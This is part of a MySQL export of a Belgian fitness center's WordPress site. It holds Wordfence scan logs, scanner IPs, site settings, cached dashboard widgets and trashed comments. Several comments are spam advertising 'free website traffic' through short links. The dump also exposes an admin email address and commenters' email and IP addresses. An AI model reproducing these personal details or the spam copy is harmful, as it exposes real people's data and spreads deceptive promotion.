(118187, 1492320253.943182, 2, 'info', 'Starting scan of file contents'),
(118186, 1492320253.046651, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(118185, 1492320253.041850, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(118184, 1492320253.013817, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(118183, 1492320253.011604, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118182, 1492320253.010510, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(118181, 1492320252.982623, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118180, 1492320252.660807, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(118179, 1492320252.421174, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118178, 1492320252.115644, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(116950, 1491702317.190081, 2, 'info', 'Scanned contents of 87 additional files at 29.60 per second'),
(116951, 1491702317.193297, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117547, 1492058776.321400, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117548, 1492058776.783869, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117549, 1492058777.076834, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117550, 1492058777.236704, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117551, 1492058777.449628, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117552, 1492058777.747064, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117553, 1492058778.070060, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117554, 1492058778.951874, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117555, 1492058780.683030, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117556, 1492058781.174504, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117557, 1492058781.382291, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117558, 1492058781.790771, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117074, 1491767380.193700, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 9th of April 2017 07:49:40 PM'),
(117632, 1492072411.726452, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117633, 1492072411.927832, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118054, 1492290919.294364, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(117516, 1491988782.040066, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118227, 1493013113.164845, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118228, 1493013114.066445, 2, 'info', 'Done host key check.'),
(118229, 1493013114.081588, 2, 'info', 'Scanned comment with Author: Elisa Brown Email: leyswgiuz@mrflazu.com Source IP: 81.171.97.125 '),
(117694, 1492072423.958439, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117808, 1492193117.074159, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117448, 1491988761.650291, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117403, 1491943545.677182, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.');

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfThrottleLog`
--

CREATE TABLE `www2_wfThrottleLog` (
  `IP` int(10) UNSIGNED NOT NULL,
  `startTime` int(10) UNSIGNED NOT NULL,
  `endTime` int(10) UNSIGNED NOT NULL,
  `timesThrottled` int(10) UNSIGNED NOT NULL,
  `lastReason` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfThrottleLog`
--

INSERT INTO `www2_wfThrottleLog` (`IP`, `startTime`, `endTime`, `timesThrottled`, `lastReason`) VALUES
(1153176390, 1445127994, 1445127994, 1, 'Exceeded the maximum number of page not found errors per minute for a crawler.');

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfVulnScanners`
--

CREATE TABLE `www2_wfVulnScanners` (
  `IP` int(10) UNSIGNED NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `hits` int(10) UNSIGNED NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfVulnScanners`
--

INSERT INTO `www2_wfVulnScanners` (`IP`, `ctime`, `hits`) VALUES
(3639891306, 1493024963, 1),
(1247482290, 1494369707, 2),
(844599434, 1496262052, 10),
(3233508538, 1497512350, 1);

-- --------------------------------------------------------

--
-- Structure de la table `www_commentmeta`
--

CREATE TABLE `www_commentmeta` (
  `meta_id` bigint(20) UNSIGNED NOT NULL,
  `comment_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www_commentmeta`
--

INSERT INTO `www_commentmeta` (`meta_id`, `comment_id`, `meta_key`, `meta_value`) VALUES
(1, 17, '_wp_trash_meta_status', '0'),
(2, 17, '_wp_trash_meta_time', '1382883677'),
(3, 16, '_wp_trash_meta_status', '0'),
(4, 16, '_wp_trash_meta_time', '1382883677'),
(5, 15, '_wp_trash_meta_status', '0'),
(6, 15, '_wp_trash_meta_time', '1382883677'),
(7, 14, '_wp_trash_meta_status', '0'),
(8, 14, '_wp_trash_meta_time', '1382883677'),
(9, 13, '_wp_trash_meta_status', '0'),
(10, 13, '_wp_trash_meta_time', '1382883677'),
(11, 12, '_wp_trash_meta_status', '0'),
(12, 12, '_wp_trash_meta_time', '1382883677'),
(13, 11, '_wp_trash_meta_status', '0'),
(14, 11, '_wp_trash_meta_time', '1382883677'),
(15, 10, '_wp_trash_meta_status', '0'),
(16, 10, '_wp_trash_meta_time', '1382883677'),
(17, 9, '_wp_trash_meta_status', '0'),
(18, 9, '_wp_trash_meta_time', '1382883677'),
(19, 8, '_wp_trash_meta_status', '0'),
(20, 8, '_wp_trash_meta_time', '1382883677'),
(21, 7, '_wp_trash_meta_status', '0'),
(22, 7, '_wp_trash_meta_time', '1382883677'),
(23, 6, '_wp_trash_meta_status', '0'),
(24, 6, '_wp_trash_meta_time', '1382883677'),
(25, 5, '_wp_trash_meta_status', '0'),
(26, 5, '_wp_trash_meta_time', '1382883677'),
(27, 4, '_wp_trash_meta_status', '0'),
(28, 4, '_wp_trash_meta_time', '1382883677'),
(29, 3, '_wp_trash_meta_status', '0'),
(30, 3, '_wp_trash_meta_time', '1382883677'),
(31, 2, '_wp_trash_meta_status', '0'),
(32, 2, '_wp_trash_meta_time', '1382883677'),
(33, 1, '_wp_trash_meta_status', '1'),
(34, 1, '_wp_trash_meta_time', '1382883677'),
(35, 20, '_wp_trash_meta_status', '0'),
(36, 20, '_wp_trash_meta_time', '1383293745'),
(37, 19, '_wp_trash_meta_status', '0'),
(38, 19, '_wp_trash_meta_time', '1383293745'),
(39, 18, '_wp_trash_meta_status', '0'),
(40, 18, '_wp_trash_meta_time', '1383293745');

-- --------------------------------------------------------

--
-- Structure de la table `www_comments`
--

CREATE TABLE `www_comments` (
  `comment_ID` bigint(20) UNSIGNED NOT NULL,
  `comment_post_ID` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `comment_author` tinytext NOT NULL,
  `comment_author_email` varchar(100) NOT NULL DEFAULT '',
  `comment_author_url` varchar(200) NOT NULL DEFAULT '',
  `comment_author_IP` varchar(100) NOT NULL DEFAULT '',
  `comment_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_content` text NOT NULL,
  `comment_karma` int(11) NOT NULL DEFAULT '0',
  `comment_approved` varchar(20) NOT NULL DEFAULT '1',
  `comment_agent` varchar(255) NOT NULL DEFAULT '',
  `comment_type` varchar(20) NOT NULL DEFAULT '',
  `comment_parent` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `user_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www_comments`
--

INSERT INTO `www_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
(1, 1, 'Mr WordPress', '', 'http://wordpress.org/', '', '2013-05-23 18:04:49', '2013-05-23 18:04:49', 'Hi, this is a comment.\nTo delete a comment, just log in and view the post&amp;#039;s comments. There you will have the option to edit or delete them.', 0, 'trash', '', '', 0, 0),
(2, 1, 'Olivia', 'cjqxvyrqt@gmail.com', 'http://nsru.net/048o', '178.32.183.43', '2013-08-07 04:19:52', '2013-08-07 04:19:52', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their website traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Sign up before it is too late: http://nsru.net/048o', 0, 'trash', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(3, 1, 'Olivia', 'zgxmpkdh@gmail.com', 'http://nsru.net/138e', '178.32.183.43', '2013-08-14 01:15:59', '2013-08-14 01:15:59', 'I came to your page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try their service for free. I managed to get over 300 targetted visitors to day to my website. Visit them today: http://nsru.net/138e', 0, 'trash', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(4, 1, 'Svetlana', 'npyilv@gmail.com', 'http://nsru.net/138e', '178.32.183.43', '2013-08-15 20:03:57', '2013-08-15 20:03:57', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for just a few days! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it needs. Visit us today: http://nsru.net/138e', 0, 'trash', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(5, 1, 'Nicole', 'crqtcl@gmail.com', 'http://nsru.net/188x', '178.33.203.157', '2013-08-19 19:05:39', '2013-08-19 19:05:39', 'We have made the decision to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it needs. Visit us today: http://nsru.net/188x', 0, 'trash', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(6, 1, 'Jenny', 'ubfpep@gmail.com', 'http://nsru.net/188x', '178.33.203.157', '2013-08-21 04:26:27', '2013-08-21 04:26:27', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for just a few days! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it needs. Visit us today: http://nsru.net/188x', 0, 'trash', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
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-- --------------------------------------------------------

--
-- Structure de la table `www_links`
--

CREATE TABLE `www_links` (
  `link_id` bigint(20) UNSIGNED NOT NULL,
  `link_url` varchar(255) NOT NULL DEFAULT '',
  `link_name` varchar(255) NOT NULL DEFAULT '',
  `link_image` varchar(255) NOT NULL DEFAULT '',
  `link_target` varchar(25) NOT NULL DEFAULT '',
  `link_description` varchar(255) NOT NULL DEFAULT '',
  `link_visible` varchar(20) NOT NULL DEFAULT 'Y',
  `link_owner` bigint(20) UNSIGNED NOT NULL DEFAULT '1',
  `link_rating` int(11) NOT NULL DEFAULT '0',
  `link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `link_rel` varchar(255) NOT NULL DEFAULT '',
  `link_notes` mediumtext NOT NULL,
  `link_rss` varchar(255) NOT NULL DEFAULT ''
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www_options`
--

CREATE TABLE `www_options` (
  `option_id` bigint(20) UNSIGNED NOT NULL,
  `option_name` varchar(64) NOT NULL DEFAULT '',
  `option_value` longtext NOT NULL,
  `autoload` varchar(20) NOT NULL DEFAULT 'yes'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www_options`
--

INSERT INTO `www_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(1, 'siteurl', 'http://www2.crosstrainingcenter.be', 'yes'),
(2, 'blogname', 'Cross Training Center de Namur', 'yes'),
(3, 'blogdescription', '', 'yes'),
(4, 'users_can_register', '0', 'yes'),
(5, 'admin_email', 'dpierrard@gmail.com', 'yes'),
(6, 'start_of_week', '1', 'yes'),
(7, 'use_balanceTags', '0', 'yes'),
(8, 'use_smilies', '1', 'yes'),
(9, 'require_name_email', '1', 'yes'),
(10, 'comments_notify', '1', 'yes'),
(11, 'posts_per_rss', '10', 'yes'),
(12, 'rss_use_excerpt', '0', 'yes'),
(13, 'mailserver_url', 'mail.example.com', 'yes'),
(14, 'mailserver_login', 'login@example.com', 'yes'),
(15, 'mailserver_pass', 'password', 'yes'),
(16, 'mailserver_port', '110', 'yes'),
(17, 'default_category', '1', 'yes'),
(18, 'default_comment_status', 'open', 'yes'),
(19, 'default_ping_status', 'open', 'yes'),
(20, 'default_pingback_flag', '1', 'yes'),
(21, 'posts_per_page', '10', 'yes'),
(22, 'date_format', 'F j, Y', 'yes'),
(23, 'time_format', 'g:i a', 'yes'),
(24, 'links_updated_date_format', 'F j, Y g:i a', 'yes'),
(25, 'links_recently_updated_prepend', '&lt;em&gt;', 'yes'),
(26, 'links_recently_updated_append', '&lt;/em&gt;', 'yes'),
(27, 'links_recently_updated_time', '120', 'yes'),
(28, 'comment_moderation', '0', 'yes'),
(29, 'moderation_notify', '1', 'yes'),
(30, 'permalink_structure', '/%postname%/', 'yes'),
(31, 'gzipcompression', '0', 'yes'),
(32, 'hack_file', '0', 'yes'),
(33, 'blog_charset', 'UTF-8', 'yes'),
(34, 'moderation_keys', '', 'no'),
(35, 'active_plugins', 'a:11:{i:0;s:35:\&quot;clicface-trombi/clicface-trombi.php\&quot;;i:1;s:36:\&quot;contact-form-7/wp-contact-form-7.php\&quot;;i:2;s:35:\&quot;display-widgets/display-widgets.php\&quot;;i:3;s:25:\&quot;easy-table/easy-table.php\&quot;;i:4;s:43:\&quot;google-analyticator/google-analyticator.php\&quot;;i:5;s:19:\&quot;piklist/piklist.php\&quot;;i:6;s:47:\&quot;really-simple-captcha/really-simple-captcha.php\&quot;;i:7;s:29:\&quot;seo-ultimate/seo-ultimate.php\&quot;;i:8;s:31:\&quot;slideshow-manager/slideshow.php\&quot;;i:9;s:29:\&quot;total-slider/total-slider.php\&quot;;i:10;s:37:\&quot;widgets-on-pages/widgets_on_pages.php\&quot;;}', 'yes'),
(36, 'home', 'http://www2.crosstrainingcenter.be', 'yes'),
(37, 'category_base', '', 'yes'),
(38, 'ping_sites', 'http://rpc.pingomatic.com/', 'yes'),
(39, 'advanced_edit', '0', 'yes'),
(40, 'comment_max_links', '2', 'yes'),
(41, 'gmt_offset', '0', 'yes'),
(42, 'default_email_category', '1', 'yes'),
(43, 'recently_edited', 'a:2:{i:0;s:78:\&quot;/homez.734/crosstra/www/wp-content/plugins/display-widgets/display-widgets.php\&quot;;i:1;s:0:\&quot;\&quot;;}', 'no'),
(44, 'template', 'figero', 'yes'),
(45, 'stylesheet', 'figero', 'yes'),
(46, 'comment_whitelist', '1', 'yes'),
(47, 'blacklist_keys', '', 'no'),
(48, 'comment_registration', '0', 'yes'),
(49, 'html_type', 'text/html', 'yes'),
(50, 'use_trackback', '0', 'yes'),
(51, 'default_role', 'subscriber', 'yes'),
(52, 'db_version', '25824', 'yes'),
(53, 'uploads_use_yearmonth_folders', '1', 'yes'),
(54, 'upload_path', '', 'yes'),
(55, 'blog_public', '1', 'yes'),
(56, 'default_link_category', '2', 'yes'),
(57, 'show_on_front', 'posts', 'yes'),
(58, 'tag_base', '', 'yes'),
(59, 'show_avatars', '1', 'yes'),
(60, 'avatar_rating', 'G', 'yes'),
(61, 'upload_url_path', '', 'yes'),
(62, 'thumbnail_size_w', '150', 'yes'),
(63, 'thumbnail_size_h', '150', 'yes'),
(64, 'thumbnail_crop', '1', 'yes'),
(65, 'medium_size_w', '300', 'yes'),
(66, 'medium_size_h', '300', 'yes'),
(67, 'avatar_default', 'mystery', 'yes'),
(68, 'large_size_w', '1024', 'yes'),
(69, 'large_size_h', '1024', 'yes'),
(70, 'image_default_link_type', 'file', 'yes'),
(71, 'image_default_size', '', 'yes'),
(72, 'image_default_align', '', 'yes'),
(73, 'close_comments_for_old_posts', '0', 'yes'),
(74, 'close_comments_days_old', '14', 'yes'),
(75, 'thread_comments', '1', 'yes'),
(76, 'thread_comments_depth', '5', 'yes'),
(77, 'page_comments', '0', 'yes'),
(78, 'comments_per_page', '50', 'yes'),
(79, 'default_comments_page', 'newest', 'yes'),
(80, 'comment_order', 'asc', 'yes'),
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(3249, '_transient_dash_aa95765b5cc111c56d5993d476b1c2f0', '&lt;div class=\&quot;rss-widget\&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'http://wordpress.tv/2013/11/02/steve-wilkison-an-introduction-to-creating-custom-wordpress-themes/\' title=\'    \'&gt;WordPress.tv: Steve Wilkison: An Introduction To Creating Custom WordPress Themes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'http://feedproxy.google.com/~r/WordpressTavern/~3/LAGCARUPZ1c/wpweekly-episode-126-catching-up-with-cory-miller-from-ithemes\' title=\' In this episode, we caught up with Cory Miller of iThemes.com to walk down memory lane starting with 2008. The year he launched the company. Then we progressed into the future and visited various milestones along the way such as the release of the Flexx theme, Builder, PluginBuddy, Backup Buddy, Webdesign.com, and iThemes Exchange. I loved talking to Cory about the early years of WordPress themes. We also covered the headlines of the week.  Stories Discussed: WordPress 3.7.1 Released Akismet Celebrates Huge Spam Blocking Milestone WordPress 3.8 Development Heats Up With Discussion of New Core Features WPWeekly Meta: Next Episode: Friday, November 8th 3 P.M. Eastern Subscribe To WPWeekly Via Itunes: Click here to subscribe Subscribe To WPWeekly Via RSS: Click here to subscribe Subscribe To WPWeekly Via Stitcher Radio: Click here to subscribe Listen To Episode #126:  \'&gt;WPTavern: WPWeekly Episode 126 – Catching Up With Cory Miller From iThemes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'http://wordpress.tv/2013/11/02/justin-sainton-hacking-your-business-business-workflow-for-developers/\' title=\'    \'&gt;WordPress.tv: Justin Sainton: Hacking Your Business: Business Workflow For Developers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'http://ma.tt/2013/11/automattic-on-google-maps/\' title=\'You can now view the inside of Automattic’s office on Google Maps street view and walk around inside. To get downstairs go by the stairs and press the back arrow, a bit unintuitive but gets you to the main floor. Check out the custom shuffleboard upstairs.\'&gt;Matt: Automattic on Google Maps&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'http://ma.tt/2013/11/ultra-high-frequency-sound-malware/\' title=\'The story around badBIOS, the mysterious Mac and PC malware that jumps airgaps, is fascinating and surprising. The capabilities of sophisticated attackers right now vastly outstrip the defenses of any computer user or company. The news that the NSA had broken into the networks of Google and Yahoo, unfortunately, wasn’t surprising given Google’s move to encrypt traffic between datacenters early in September.\'&gt;Matt: Ultra-high Frequency Sound Malware&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;', 'no'),
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(3241, '_transient_ga_admin_dashboard_6.4.530', '&lt;script type=\&quot;text/javascript\&quot;&gt;var datelabel = [[4, \&quot;Oct. 07\&quot;],[8, \&quot;Oct. 11\&quot;],[12, \&quot;Oct. 15\&quot;],[16, \&quot;Oct. 19\&quot;],[20, \&quot;Oct. 23\&quot;],[24, \&quot;Oct. 27\&quot;],[28, \&quot;Oct. 31\&quot;]];var d1 = [[1, 2],[2, 5],[3, 5],[4, 9],[5, 8],[6, 6],[7, 6],[8, 4],[9, 0],[10, 2],[11, 1],[12, 10],[13, 7],[14, 2],[15, 4],[16, 7],[17, 2],[18, 0],[19, 5],[20, 6],[21, 5],[22, 2],[23, 5],[24, 6],[25, 4],[26, 4],[27, 8],[28, 1],[29, 12],[30, 9]];var d2 = [\&quot;Friday, Oct. 04, 2013\&quot;,\&quot;Saturday, Oct. 05, 2013\&quot;,\&quot;Sunday, Oct. 06, 2013\&quot;,\&quot;Monday, Oct. 07, 2013\&quot;,\&quot;Tuesday, Oct. 08, 2013\&quot;,\&quot;Wednesday, Oct. 09, 2013\&quot;,\&quot;Thursday, Oct. 10, 2013\&quot;,\&quot;Friday, Oct. 11, 2013\&quot;,\&quot;Saturday, Oct. 12, 2013\&quot;,\&quot;Sunday, Oct. 13, 2013\&quot;,\&quot;Monday, Oct. 14, 2013\&quot;,\&quot;Tuesday, Oct. 15, 2013\&quot;,\&quot;Wednesday, Oct. 16, 2013\&quot;,\&quot;Thursday, Oct. 17, 2013\&quot;,\&quot;Friday, Oct. 18, 2013\&quot;,\&quot;Saturday, Oct. 19, 2013\&quot;,\&quot;Sunday, Oct. 20, 2013\&quot;,\&quot;Monday, Oct. 21, 2013\&quot;,\&quot;Tuesday, Oct. 22, 2013\&quot;,\&quot;Wednesday, Oct. 23, 2013\&quot;,\&quot;Thursday, Oct. 24, 2013\&quot;,\&quot;Friday, Oct. 25, 2013\&quot;,\&quot;Saturday, Oct. 26, 2013\&quot;,\&quot;Sunday, Oct. 27, 2013\&quot;,\&quot;Monday, Oct. 28, 2013\&quot;,\&quot;Tuesday, Oct. 29, 2013\&quot;,\&quot;Wednesday, Oct. 30, 2013\&quot;,\&quot;Thursday, Oct. 31, 2013\&quot;,\&quot;Friday, Nov. 01, 2013\&quot;,\&quot;Saturday, Nov. 02, 2013\&quot;];&lt;/script&gt;&lt;span class=\&quot;ga_visits\&quot; title=\&quot;The most visits on a single day was 12. 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Time on Site&lt;/td&gt;\n                    &lt;/tr&gt;\n                    &lt;tr&gt;\n                                                    &lt;td&gt;&lt;strong&gt;5.04&lt;/strong&gt;&lt;/td&gt;\n                                                    &lt;td&gt;Pages/Visit&lt;/td&gt;\n                                                    &lt;td&gt;&lt;strong&gt;48.30%&lt;/strong&gt;&lt;/td&gt;\n                            &lt;td&gt;% New Visits&lt;/td&gt;\n                                            &lt;/tr&gt;\n            &lt;/table&gt;\n    &lt;p style=\&quot;font-style: italic; font-family: Georgia, \'Times New Roman\', \'Bitstream Charter\', Times, serif; color: #777; font-size: 13px;\&quot;&gt;Top Pages&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=\&quot;/les-seances/\&quot;&gt;Cross Training Center - Les séances&lt;/a&gt; - 127 Views&lt;/li&gt;&lt;li&gt;&lt;a href=\&quot;/lequipe/\&quot;&gt;Cross Training Center - L&amp;#039;équipe&lt;/a&gt; - 93 Views&lt;/li&gt;&lt;li&gt;&lt;a href=\&quot;/le-cross-training/\&quot;&gt;Cross Training Center - Le cross training&lt;/a&gt; - 90 Views&lt;/li&gt;&lt;li&gt;&lt;a href=\&quot;/notre-philosophie/\&quot;&gt;Cross Training Center - Notre philosophie&lt;/a&gt; - 78 Views&lt;/li&gt;&lt;li&gt;&lt;a href=\&quot;/contact/\&quot;&gt;Cross Training Center - Contact&lt;/a&gt; - 45 Views&lt;/li&gt;&lt;/ol&gt;&lt;table width=\&quot;100%\&quot;&gt;&lt;tr&gt;&lt;td width=\&quot;50%\&quot; valign=\&quot;top\&quot;&gt;&lt;p style=\&quot;font-style: italic; font-family: Georgia, \'Times New Roman\', \'Bitstream Charter\', Times, serif; color: #777; font-size: 13px;\&quot;&gt;Top Referrers&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;facebook.com&lt;/strong&gt; - 12 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;www2.crosstrainingcenter.be&lt;/strong&gt; - 4 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;m.facebook.com&lt;/strong&gt; - 2 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;google.fr&lt;/strong&gt; - 1 Visits&lt;/li&gt;&lt;/ol&gt;&lt;/td&gt;&lt;td valign=\&quot;top\&quot;&gt;&lt;p style=\&quot;font-style: italic; font-family: Georgia, \'Times New Roman\', \'Bitstream Charter\', Times, serif; color: #777; font-size: 13px;\&quot;&gt;Top Searches&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;(not provided)&lt;/strong&gt; - 72 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;cross training namur&lt;/strong&gt; - 4 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;cross training center namur&lt;/strong&gt; - 2 Visits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;glfe consulting&lt;/strong&gt; - 1 Visits&lt;/li&gt;&lt;/ol&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;', 'no'),
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(3243, '_transient_dash_de3249c4736ad3bd2cd29147c4a0d43e', '&lt;h4&gt;Most Popular&lt;/h4&gt;\n&lt;h5&gt;&lt;a href=\'http://wordpress.org/plugins/captcha/\'&gt;Captcha&lt;/a&gt;&lt;/h5&gt;&amp;nbsp;&lt;span&gt;(&lt;a href=\'plugin-install.php?tab=plugin-information&amp;amp;plugin=captcha&amp;amp;_wpnonce=8becf11b3a&amp;amp;TB_iframe=true&amp;amp;width=600&amp;amp;height=800\' class=\'thickbox\' title=\'Captcha\'&gt;Install&lt;/a&gt;)&lt;/span&gt;\n&lt;p&gt;This plugin allows you to implement super security captcha form into web forms.&lt;/p&gt;\n&lt;h4&gt;Newest Plugins&lt;/h4&gt;\n&lt;h5&gt;&lt;a href=\'http://wordpress.org/plugins/cooked/\'&gt;Cooked&lt;/a&gt;&lt;/h5&gt;&amp;nbsp;&lt;span&gt;(&lt;a href=\'plugin-install.php?tab=plugin-information&amp;amp;plugin=cooked&amp;amp;_wpnonce=5f6fbc27e9&amp;amp;TB_iframe=true&amp;amp;width=600&amp;amp;height=800\' class=\'thickbox\' title=\'Cooked\'&gt;Install&lt;/a&gt;)&lt;/span&gt;\n&lt;p&gt;Cooking plugin that goes beyond just managing recipes. It allows the chef to detail the ingredients to be used as their own post type.&lt;/p&gt;\n', 'no'),
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class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24424/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24424/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24424&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/11/02/steve-wilkison-an-introduction-to-creating-custom-wordpress-themes/\&quot;&gt;&lt;img alt=\&quot;Steve Wilkison: An Introduction To Creating Custom WordPress Themes\&quot; src=\&quot;http://videos.videopress.com/BSg1SHAM/video-1981a786d7_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 23:44:50 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	